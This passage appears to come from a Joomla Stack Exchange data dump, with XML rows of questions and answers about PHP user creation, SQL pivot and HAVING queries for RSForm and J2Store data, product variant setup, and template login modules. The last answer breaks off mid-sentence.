  <row Id="24316" PostTypeId="1" AcceptedAnswerId="24317" CreationDate="2019-02-26T15:15:56.230" Score="2" ViewCount="119" Body="&lt;p&gt;The code below (modified from another post) works fine for me to create a user.&#xA;But how do you set the new user's frontend language? In the code below, the lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'frontend-language'=&amp;gt;'de-DE',&#xA;&#xA;'frontend-language'=&amp;gt;$params['frontend-language'],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;are how I've unsuccessfully tried to achieve it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', dirname(__FILE__) );//this is when we are in the root&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;$app = JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;&#xA;$params = array(&#xA;    'name'=&amp;gt;'test1',&#xA;    'username'=&amp;gt;'test1_user',&#xA;    'email'=&amp;gt;'mailtest1@example.com',&#xA;    'password'=&amp;gt;'test',&#xA;    'frontend-language'=&amp;gt;'de-DE',&#xA;);&#xA;&#xA;$udata = array(&#xA;    'name'=&amp;gt;$params['name'],&#xA;    'username'=&amp;gt;$params['username'],&#xA;    'password'=&amp;gt;$params['password'],&#xA;    'email'=&amp;gt;$params['email'],&#xA;    'groups'=&amp;gt;array(2), // set the usergroup(s) here (id)&#xA;    'frontend-language'=&amp;gt;$params['frontend-language'],&#xA;);&#xA;&#xA;$user = new JUser;&#xA;&#xA;try{&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;    echo 'Bind user data: ';&#xA;    var_dump($user-&amp;gt;bind($udata));         &#xA;&#xA;    echo 'Save user data: ';&#xA;    var_dump($user-&amp;gt;save());&#xA;&#xA;    //echo 'Testing login: ';&#xA;    //var_dump( $app-&amp;gt;login( array('username'=&amp;gt;$params['username'],'password'=&amp;gt;$params['password']) ) );&#xA;&#xA;} catch (Exception $ex) {&#xA;&#xA;    echo 'Exception: ',  $e-&amp;gt;getMessage(), '\n';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13363" LastActivityDate="2019-02-26T15:53:37.117" Title="create user and set its frontend language via php-script" Tags="|php|user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24317" PostTypeId="2" ParentId="24316" CreationDate="2019-02-26T15:53:37.117" Score="3" Body="&lt;p&gt;Frontend language field is called &lt;code&gt;language&lt;/code&gt;, not &lt;code&gt;frontend-language&lt;/code&gt;. It also doesn't have its own column in the database. Instead it's JSON-encoded with other params and stored to &lt;code&gt;params&lt;/code&gt; column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove &lt;code&gt;frontend-language&lt;/code&gt; element from &lt;code&gt;$udata&lt;/code&gt; and instead add &lt;code&gt;params&lt;/code&gt; array with &lt;code&gt;language&lt;/code&gt; as key and selected language as value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$udata = array(&#xA;    'name' =&amp;gt; $params['name'],&#xA;    'username' =&amp;gt; $params['username'],&#xA;    'password' =&amp;gt; $params['password'],&#xA;    'email' =&amp;gt; $params['email'],&#xA;    'groups' =&amp;gt; array(2), // set the usergroup(s) here (id)&#xA;    'params' =&amp;gt; array('language' =&amp;gt; $params['frontend-language']),&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use &lt;code&gt;JUser::setParam()&lt;/code&gt; to set param values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = new JUser;&#xA;$user-&amp;gt;bind($udata);&#xA;$user-&amp;gt;setParam('language', 'de-DE');&#xA;$user-&amp;gt;save();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-02-26T15:53:37.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24318" PostTypeId="2" ParentId="18167" CreationDate="2019-02-26T15:57:05.067" Score="1" Body="&lt;p&gt;I found out that you can set the right syntax in a parameter array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the associative array &lt;code&gt;$params&lt;/code&gt;, set the &lt;code&gt;syntax&lt;/code&gt; key equal to the value &lt;code&gt;php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params['syntax'] = 'php';&#xA;&#xA;$editor = JEditor::getInstance('codemirror');&#xA;echo $editor-&amp;gt;display('name_of_element', $value, '100%', 900, '300', '3', false, null, null, null, $params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="371" LastEditorUserId="12352" LastEditDate="2019-02-27T20:10:39.740" LastActivityDate="2019-02-27T20:10:39.740" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24319" PostTypeId="2" ParentId="24298" CreationDate="2019-02-27T07:42:16.457" Score="0" Body="&lt;p&gt;I had pieces of my code from &lt;a href=&quot;https://joomla.stackexchange.com/a/23675/13353&quot;&gt;https://joomla.stackexchange.com/a/23675/13353&lt;/a&gt;, but this didn't help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And further today I found a solution on &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/23227&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/23227&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was, that i don't have the current category id. Now with this, it's working. Thank you @Sharky for your tip, what object is $child.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$category   = JRequest::getInt('id');&#xA;echo 'cat id is: '. $category;&#xA;$currentCatFields = FieldsHelper::getFields('com_content.categories', $this-&amp;gt;category, true);&#xA;echo '&amp;lt;pre&amp;gt;',print_r($currentCatFields,1),'&amp;lt;/pre&amp;gt;';&#xA;&#xA;foreach ($currentCatFields as $field) : &#xA;echo $field-&amp;gt;label . ':' . $field-&amp;gt;value; &#xA;endforeach &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13353" LastEditorUserId="13353" LastEditDate="2019-02-27T11:06:04.633" LastActivityDate="2019-02-27T11:06:04.633" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24320" PostTypeId="2" ParentId="17245" CreationDate="2019-02-27T13:03:01.293" Score="2" Body="&lt;p&gt;You actually don't need to perform multiple joins with the same table to gather your desired results.  What is best suited is a &lt;a href=&quot;https://modern-sql.com/use-case/pivot&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;pivot&quot; technique&lt;/a&gt;.  There is no cleaner way to deal with rsform's submission data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note, while you may only have one &quot;form&quot; in your &lt;code&gt;#__rsform_submissions&lt;/code&gt; table, it would be more robust to specify the &lt;code&gt;FormId&lt;/code&gt; in the WHERE clause.  (I'll arbrarily use &lt;code&gt;1&lt;/code&gt; in my snippet to follow.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Raw Query that I suggest is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    a.SubmissionId,&#xA;    a.DateSubmitted,&#xA;    a.status,&#xA;    MAX(CASE WHEN b.FieldName = 'name' THEN b.FieldValue ELSE NULL END) AS name,&#xA;    MAX(CASE WHEN b.FieldName = 'email' THEN b.FieldValue ELSE NULL END) AS email&#xA;FROM `#__rsform_submissions` a&#xA;INNER JOIN `#__rsform_submission_values` b ON a.SubmissionId = b.SubmissionId&#xA;WHERE a.FormId = 1&#xA;GROUP BY a.SubmissionId&#xA;HAVING MAX(CASE WHEN b.FieldName = 'status' THEN b.FieldValue ELSE NULL END) = 'open'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above joins the two related tables (just once), then groups the submission values based on the &lt;code&gt;SubmissionId&lt;/code&gt;.  The GROUP BY clause creates &quot;aggregate&quot; data (a cloud of related data -- if you will) which requires special handling to extract desired values.  The &lt;code&gt;MAX(CASE...)&lt;/code&gt; syntax allows you to pull out specific values.  The HAVING clause checks for submissions which have a &lt;code&gt;status&lt;/code&gt; value of &lt;code&gt;open&lt;/code&gt;; the SELECT clause pulls the &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;email&lt;/code&gt; to be provided in the result set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla/PHP code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select([&#xA;        &quot;a.SubmissionId&quot;,&#xA;        &quot;a.DateSubmitted&quot;,&#xA;        &quot;a.status&quot;,&#xA;        &quot;MAX(CASE WHEN b.FieldName = 'name' THEN b.FieldValue ELSE NULL END) AS name&quot;,&#xA;        &quot;MAX(CASE WHEN b.FieldName = 'email' THEN b.FieldValue ELSE NULL END) AS email&quot;&#xA;    ])&#xA;    -&amp;gt;from(&quot;#__rsform_submissions a&quot;)&#xA;    -&amp;gt;innerJoin(&quot;#__rsform_submission_values b ON a.SubmissionId = b.SubmissionId&quot;)&#xA;    -&amp;gt;where(&quot;a.FormId = 1&quot;)&#xA;    -&amp;gt;group(&quot;a.SubmissionId&quot;)&#xA;    -&amp;gt;having(&quot;MAX(CASE WHEN b.FieldName = &quot; . $db-&amp;gt;q(&quot;status&quot;) . &quot; THEN b.FieldValue ELSE NULL END) = &quot; . $db-&amp;gt;q(&quot;open&quot;));&#xA;&#xA;// echo $query-&amp;gt;dump();  // uncomment if you want to confirm the rendered query&#xA;try {&#xA;    $db-&amp;gt;setQuery($query);&#xA;    echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;    var_dump($db-&amp;gt;loadAssocList());&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');  // never show getMessage() to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Test Schema:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `#__rsform_submissions` (&#xA;  `SubmissionId` int(11) NOT NULL,&#xA;  `FormId` int(11) NOT NULL DEFAULT '0',&#xA;  `DateSubmitted` datetime NOT NULL,&#xA;  `UserIp` varchar(15) NOT NULL DEFAULT '',&#xA;  `Username` varchar(255) NOT NULL DEFAULT '',&#xA;  `UserId` text NOT NULL,&#xA;  `Lang` varchar(255) NOT NULL,&#xA;  `status` tinyint(1) NOT NULL&#xA;) ENGINE=InnoDB CHARSET=utf8;&#xA;&#xA;INSERT INTO `#__rsform_submissions` (`SubmissionId`, `FormId`, `DateSubmitted`, `UserIp`, `Username`, `UserId`, `Lang`, `status`) VALUES&#xA;(1, 1, '2011-01-01 01:11:11', '60.241.244.9', 'Cam', '0', 'en-GB', 1),&#xA;(2, 1, '2012-02-02 02:22:22', '203.59.245.124', 'Pam', '0', 'en-GB', 1),&#xA;(3, 1, '2013-03-03 03:33:33', '101.172.255.225', 'Sam', '0', 'en-GB', 1),&#xA;(4, 1, '2014-04-04 04:44:44', '55.79.10.25', 'Tam', '0', 'en-GB', 1);&#xA;&#xA;CREATE TABLE IF NOT EXISTS `#__rsform_submission_values` (&#xA;  `SubmissionValueId` int(11) NOT NULL AUTO_INCREMENT,&#xA;  `FormId` int(11) NOT NULL,&#xA;  `SubmissionId` int(11) NOT NULL DEFAULT '0',&#xA;  `FieldName` text NOT NULL,&#xA;  `FieldValue` text NOT NULL,&#xA;  PRIMARY KEY (`SubmissionValueId`),&#xA;  KEY `FormId` (`FormId`),&#xA;  KEY `SubmissionId` (`SubmissionId`)&#xA;) ENGINE=InnoDB CHARSET=utf8;&#xA;&#xA;INSERT INTO `#__rsform_submission_values` (`SubmissionValueId`, `FormId`, `SubmissionId`, `FieldName`, `FieldValue`) VALUES&#xA;(1, 1, 1, 'name', 'Cam'),&#xA;(2, 1, 1, 'email', 'cam@email.com'),&#xA;(3, 1, 1, 'status', 'open'),&#xA;(4, 1, 2, 'name', 'Pam'),&#xA;(5, 1, 2, 'email', 'pam@email.net'),&#xA;(6, 1, 2, 'status', 'closed'),&#xA;(7, 1, 3, 'name', 'Sam'),&#xA;(8, 1, 3, 'email', 'sam@email.org'),&#xA;(9, 1, 3, 'status', 'open'),&#xA;(10, 1, 4, 'name', 'Tam'),&#xA;(11, 1, 4, 'email', 'tam@email.biz'),&#xA;(12, 1, 4, 'status', 'open');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(3) {&#xA;  [0]=&amp;gt;&#xA;  array(5) {&#xA;    [&quot;SubmissionId&quot;]=&amp;gt;&#xA;    string(1) &quot;1&quot;&#xA;    [&quot;DateSubmitted&quot;]=&amp;gt;&#xA;    string(19) &quot;2011-01-01 01:11:11&quot;&#xA;    [&quot;status&quot;]=&amp;gt;&#xA;    string(1) &quot;1&quot;&#xA;    [&quot;name&quot;]=&amp;gt;&#xA;    string(3) &quot;Cam&quot;&#xA;    [&quot;email&quot;]=&amp;gt;&#xA;    string(13) &quot;cam@email.com&quot;&#xA;  }&#xA;  [1]=&amp;gt;&#xA;  array(5) {&#xA;    [&quot;SubmissionId&quot;]=&amp;gt;&#xA;    string(1) &quot;3&quot;&#xA;    [&quot;DateSubmitted&quot;]=&amp;gt;&#xA;    string(19) &quot;2013-03-03 03:33:33&quot;&#xA;    [&quot;status&quot;]=&amp;gt;&#xA;    string(1) &quot;1&quot;&#xA;    [&quot;name&quot;]=&amp;gt;&#xA;    string(3) &quot;Sam&quot;&#xA;    [&quot;email&quot;]=&amp;gt;&#xA;    string(13) &quot;sam@email.org&quot;&#xA;  }&#xA;  [2]=&amp;gt;&#xA;  array(5) {&#xA;    [&quot;SubmissionId&quot;]=&amp;gt;&#xA;    string(1) &quot;4&quot;&#xA;    [&quot;DateSubmitted&quot;]=&amp;gt;&#xA;    string(19) &quot;2014-04-04 04:44:44&quot;&#xA;    [&quot;status&quot;]=&amp;gt;&#xA;    string(1) &quot;1&quot;&#xA;    [&quot;name&quot;]=&amp;gt;&#xA;    string(3) &quot;Tam&quot;&#xA;    [&quot;email&quot;]=&amp;gt;&#xA;    string(13) &quot;tam@email.biz&quot;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-02-27T13:09:00.160" LastActivityDate="2019-02-27T13:09:00.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24321" PostTypeId="1" AcceptedAnswerId="24324" CreationDate="2019-02-28T00:11:42.803" Score="1" ViewCount="215" Body="&lt;p&gt;I have two disjointed sets of product filters, &lt;code&gt;$special_filters&lt;/code&gt; and &lt;code&gt;$other_filters&lt;/code&gt;. I'm trying to retrieve the products from the database which match any of the filters in &lt;code&gt;$special_filters&lt;/code&gt; AND any of the filters in &lt;code&gt;$other_filters&lt;/code&gt;. For example, if &lt;code&gt;$special_filters = {'New'}&lt;/code&gt; and &lt;code&gt;$other_filters = {'Brakes', 'Tires'}&lt;/code&gt; then I want to get all new brakes and all new tires, as opposed to all new parts, all brakes, and all tires. Here's what I've gotten to work in phpMyAdmin (here the &lt;code&gt;product_filters&lt;/code&gt; table is a 2-column table relating &lt;code&gt;product_id&lt;/code&gt; and &lt;code&gt;filter_id&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT q.product_id FROM (&#xA;    SELECT product_id FROM `&amp;lt;prefix&amp;gt;_j2store_product_filters`&#xA;    WHERE filter_id = 'tag1'&#xA;) AS q&#xA;INNER JOIN `&amp;lt;prefix&amp;gt;_j2store_product_filters` AS t ON q.product_id = t.product_id&#xA;WHERE filter_id IN ('tag2', 'tag3')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This successfully finds all products that have &lt;code&gt;tag1&lt;/code&gt;, and either &lt;code&gt;tag2&lt;/code&gt; or &lt;code&gt;tag3&lt;/code&gt;. However my translation into Joomla doesn't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm modifying J2Store's code in &lt;code&gt;administrator/components/com_j2store/models/products.php&lt;/code&gt;, near the end of the &lt;code&gt;_sfBuildWhereQuery&lt;/code&gt; function, which is setting up a JDatabase query object to fetch a list of products. At this point in the code there is a &lt;code&gt;$filter_ids&lt;/code&gt; array which contains all of the active filters and is the union of my two filter arrays, and I need to add an appropriate &quot;WHERE&quot; clause to the current query object. I've basically just tried translating my sql code into JDatabase. Here's my attempt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$other_ids = array_diff($filter_ids, $special_filters);&#xA;if (empty($special_filters) || empty($other_ids)) {&#xA;   // This is the usual case for the 'OR' operator.&#xA;   $query-&amp;gt;where ( '#__j2store_product_filters.filter_id IN (' &#xA;                   . implode ( ',', $filter_ids ) . ')' );&#xA;} else {&#xA;    // Make sub-sub-query to filter with special filters&#xA;    $subSubQuery = $db-&amp;gt;getQuery(True);&#xA;    $subSubQuery&#xA;        -&amp;gt;select($db-&amp;gt;quoteName('product_id'))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__j2store_product_filters'))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('filter_id') &#xA;                . ' IN (' . implode(',', $special_filters) . ')');&#xA;&#xA;    // Filter the result with the other filters in another subquery&#xA;    $subQuery = $db-&amp;gt;getQuery(True);&#xA;    $subQuery&#xA;        -&amp;gt;select($db-&amp;gt;quoteName('s.product_id'))&#xA;        -&amp;gt;from($subSubQuery, 's')&#xA;        -&amp;gt;join('INNER', &#xA;                $db-&amp;gt;quoteName('#__j2store_product_filters', 'f') &#xA;                . ' ON (' . $db-&amp;gt;quoteName('s.product_id') &#xA;                          . ' = ' . $db-&amp;gt;quoteName('f.product_id') . ')')&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('filter_id') &#xA;                . ' IN (' . implode(',', $other_ids) . ')');&#xA;&#xA;     $query-&amp;gt;where('EXISTS (SELECT * FROM (' . $subQuery-&amp;gt;__toString() . ') AS t &#xA;                   WHERE ' . $db-&amp;gt;quoteName('#__j2store_product_filters.product_id') . &#xA;                    ' = ' . $db-&amp;gt;quoteName('t.product_id') . ')');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it's returning too many results: it's still returning all new parts, all brakes, and all tires, instead of just new brakes and new tires. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a demonstration of the conditional logic that I require:  db-fiddle.com/f/o1UWTKXVTxxwyvrpcupmqu/3&lt;/p&gt;&#xA;" OwnerUserId="13088" LastEditorUserId="12352" LastEditDate="2019-02-28T05:50:15.977" LastActivityDate="2019-02-28T11:57:53.470" Title="Filtering product query with two sets of filters. (J2Store)" Tags="|joomla-3.x|mysql|jdatabase|filter|j2store|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24322" PostTypeId="2" ParentId="24321" CreationDate="2019-02-28T03:24:43.760" Score="0" Body="&lt;p&gt;My problem was actually not in the SQL. I did some more debugging and found out I was only entering the &quot;if empty&quot; clause, so that's why it was doing the default behaviour. My problem was that I was not understanding the variable &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filter_ids = $state-&amp;gt;productfilter_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought it was an array, but actually it's a comma separated string! Once I took that into account my Joomla code worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess this question could be deleted, but on the other hand the above code does provide a solution to this particular problem.&lt;/p&gt;&#xA;" OwnerUserId="13088" LastActivityDate="2019-02-28T03:24:43.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24324" PostTypeId="2" ParentId="24321" CreationDate="2019-02-28T05:46:52.967" Score="1" Body="&lt;p&gt;You are better served to GROUP BY &lt;code&gt;item&lt;/code&gt; then execute your qualifying &lt;code&gt;id_filters&lt;/code&gt;, &lt;code&gt;special_filters&lt;/code&gt;, and &lt;code&gt;other_filters&lt;/code&gt; conditions on the aggregate data via the HAVING clause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your db-fiddle demo...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    item&#xA;FROM item_tags&#xA;GROUP BY item&#xA;HAVING&#xA;    MAX(CASE WHEN tag IN ('Used') THEN 1 ELSE NULL END)&#xA;    AND MAX(CASE WHEN tag IN ('Brake') THEN 1 ELSE NULL END)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;1&lt;/code&gt; is used simply because the satisfying outcomes must be &quot;truthy&quot; versus &lt;code&gt;NULL&lt;/code&gt; outcomes being &quot;falsey&quot;.  If both conditions evaluate as non-null, you have a qualifying &lt;code&gt;item&lt;/code&gt;.  Easy and clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if micro-optimization is necessary, there may be a benefit to merging the two filtering lists into a single string and adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WHERE tag IN ($all_csv_filters_as_one)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't investigate this additional clause because I didn't have realistic data to benchmark (and I'm not all that interested in doing so either).  Note, this doesn't replace the HAVING clause, but rather pre-filters the &quot;aggregate&quot; data so that HAVING doesn't have to sift through as much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla query builder syntax for your j2store query could look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&quot;product_id&quot;)&#xA;    -&amp;gt;from(&quot;#__j2store_product_filters&quot;)&#xA;    -&amp;gt;group(&quot;product_id&quot;)&#xA;    -&amp;gt;having([&#xA;        &quot;MAX(CASE WHEN filter_id IN ({$filter_ids}) THEN 1 ELSE NULL END)&quot;,&#xA;        &quot;MAX(CASE WHEN filter_id IN ({$special_filter_ids}) THEN 1 ELSE NULL END&quot;)&#xA;    ]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;p.s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to conditionally add more HAVING clauses depending on if the respective filter is not an empty string, then you can conditionally call a new HAVING method every time you have one or more &lt;code&gt;filter_id&lt;/code&gt; values to include.  Like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// build $query with all of the other clauses then after -&amp;gt;group()...&#xA;if ($filter_ids)&#xA;{&#xA;    $query-&amp;gt;having(&quot;MAX(CASE WHEN filter_id IN ({$filter_ids}) THEN 1 ELSE NULL END)&quot;);&#xA;}&#xA;if ($special_ids)&#xA;{&#xA;    $query-&amp;gt;having(&quot;MAX(CASE WHEN filter_id IN ({$special_ids}) THEN 1 ELSE NULL END)&quot;);&#xA;}&#xA;if ($other_ids)&#xA;{&#xA;    $query-&amp;gt;having(&quot;MAX(CASE WHEN filter_id IN ({$other_ids}) THEN 1 ELSE NULL END)&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-02-28T11:57:53.470" LastActivityDate="2019-02-28T11:57:53.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24325" PostTypeId="2" ParentId="20898" CreationDate="2019-02-28T10:34:16.127" Score="0" Body="&lt;p&gt;Another way to accomplish this is to COUNT() the number of rows that contain the qualifying user id and a confirmed value of 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Untested Query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db     = JFactory::getDbo(); &#xA;$user   = JFactory::getUser();    &#xA;$query  = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&quot;COUNT(1) + 1&quot;)&#xA;    -&amp;gt;from(&quot;#__rsform_submissions&quot;)&#xA;    -&amp;gt;where([&#xA;        &quot;UserId = &quot; . (int)$user-&amp;gt;id,&#xA;        &quot;confirmed = 1&quot;&#xA;    ]);&#xA;$db-&amp;gt;setQuery($query);&#xA;$_POST['form']['counter'] = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MySQL can be very efficient with COUNT(). The &lt;code&gt;COUNT(1)&lt;/code&gt; isn't actually counting 1's from any where, it is just an efficient way of saying count the number of rows.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-02-28T10:34:16.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24327" PostTypeId="2" ParentId="5439" CreationDate="2019-02-28T13:26:51.957" Score="0" Body="&lt;p&gt;I am at the same stage. Using multi variant custom field one can set Size and Color, for example, but creating those dropdowns is NOT intuitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading the documentation made no sense to me at all. I actually had to watch instructional videos three or four times, trying to create the two dropdowns, until I finally got the sequence right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create your Multivariant custom field, give it all overall kind of name, like Product Options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your product, get rid of all your children first, if any.&#xA;Add a custom field of Multi Variant (it is a super mega custom field that does all in one). choosing the name you gave it, which in our case is Product Options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use custom label and name it eg Colors&#xA;Fill in the text box with your color options, one per line eg &lt;code&gt;Red&lt;/code&gt;, &lt;code&gt;Green&lt;/code&gt;, &lt;code&gt;Blue&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a New Ramification by choosing your Product Options multivariant&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on New&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it a custom label of Size for example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fill in the text field with all the sizes, eg S, M, L, XL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save all this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then Add Child Products until you have enough to meet all your possible combinations. If you have 3 colors and 4 sizes, you will make 12 children. Yikes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit each one to have a unique size/color combinations in the custom label fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc, the rest is pretty straight forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can go in and tweak each of the children from the Products screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I think this is way too much work in this day and age of automation. There is an extension that will let me import from a spreadsheet. So I am creating one product with all the custom fields and other options, then will look at the exported CSV file to see how the fields are set up, then will import all my products.&lt;/p&gt;&#xA;" OwnerUserId="13367" LastEditorUserId="12352" LastEditDate="2019-02-28T20:17:41.390" LastActivityDate="2019-02-28T20:17:41.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24329" PostTypeId="1" CreationDate="2019-02-28T18:05:18.297" Score="0" ViewCount="55" Body="&lt;p&gt;I'm using a secondary template for a new menu, which requires a login. I created a login module assigned to a position on that template and the new menu. The template is assigned to the new menu and no other template is assigned to that menu. Users first land on one of the new menu pages from offsite links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user is not logged in, the login module associated with the menu and template should display. However, the default login module is displayed with the default template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I force the display of the secondary's template's login module?&lt;/p&gt;&#xA;" OwnerUserId="11882" LastActivityDate="2019-03-03T17:24:01.767" Title="Associating a login module with a template" Tags="|templates|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24330" PostTypeId="2" ParentId="24329" CreationDate="2019-02-28T22:29:12.897" Score="1" Body="&lt;p&gt;I assume that when you say new menu, you mean a new menu item.&lt;/p&gt;&#xA;&lt;p&gt;If I have understood right what you have done, you have assigned the second template and the login module on that one new menu item that requires login, for which -I also assume- you have set its access level to a non public level, which most likely that would be &lt;strong&gt;Registered&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;See what happens now with the above setup:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Someone needs to be already logged-in into your site, in order to reach at your new menu item and see whatever it has to display.&lt;/li&gt;&#xA;&lt;li&gt;Joomla following your setup will have first to ask the user to login, so it will redirect him to the Login page of the users component. Certainly that page won't be that new menu item that you have created and that you have assigned your login module and the second template - as this is restricted for non-logged in users, plus it isn't recognized as a standard login page, because Joomla doesn't know and doesn't even care about what modules you have published on that page.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;sub&gt;*You may think that that page would act and be considered as the login page, because you published a module, but Joomla base this on the components and/or menu items.&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Solutions&lt;/h3&gt;&#xA;&lt;p&gt;In order to achieve what you want, you need to have 2 